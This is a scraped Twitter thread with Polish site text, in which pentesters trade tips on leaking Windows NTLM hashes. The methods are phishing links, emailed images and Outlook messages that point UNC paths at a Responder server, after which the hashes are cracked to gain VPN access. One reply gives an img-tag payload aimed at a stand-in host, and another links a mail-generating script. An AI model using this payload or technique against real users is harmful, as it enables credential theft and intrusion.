That's insane. I assume IE only ?
In 2017,you can send a phishing link with an UNC iframe pointing to your Responder VPS, crack that hash and connect back via VPN #Win10Rockspic.twitter.com/eFwkQ8pg3H
-
-
-
IE/Edge
- Pokaż odpowiedzi
Nowa rozmowa -
-
-
That's totally awesome.
-
Or dumb, depends from which point of view you see it. But yeah, from an Ext pentest standpoint it's cool. ;)
Koniec rozmowy
Nowa rozmowa -
-
-
This also works if you send the victim an email with the image pointing to your VPS host running responder (=
Dziękujemy. Twitter skorzysta z tych informacji, aby Twoja oś czasu bardziej Ci odpowiadała. CofnijCofnij
-
-
-
Not good
-
Ten tweet jest niedostępny.
- Pokaż odpowiedzi
Nowa rozmowa -
-
-
Requiring the user to click a link is an unnecessary step.
Dziękujemy. Twitter skorzysta z tych informacji, aby Twoja oś czasu bardziej Ci odpowiadała. CofnijCofnij
-
-
-
Confirmed! Using <img src="\\http://lol.example.com \test.png"> with a controlled server and Outlook, we got a hash back.
-
Created a Posh script to generate a mail that can get the NTLM hash awhile backhttps://github.com/api0cradle/PowershellScripts/blob/master/Security/SMBCapture-Outlook.1.1.ps1 …
Koniec rozmowy
Nowa rozmowa -
Wydaje się, że ładowanie zajmuje dużo czasu.
Twitter jest przeciążony lub wystąpił chwilowy problem. Spróbuj ponownie lub sprawdź status Twittera, aby uzyskać więcej informacji.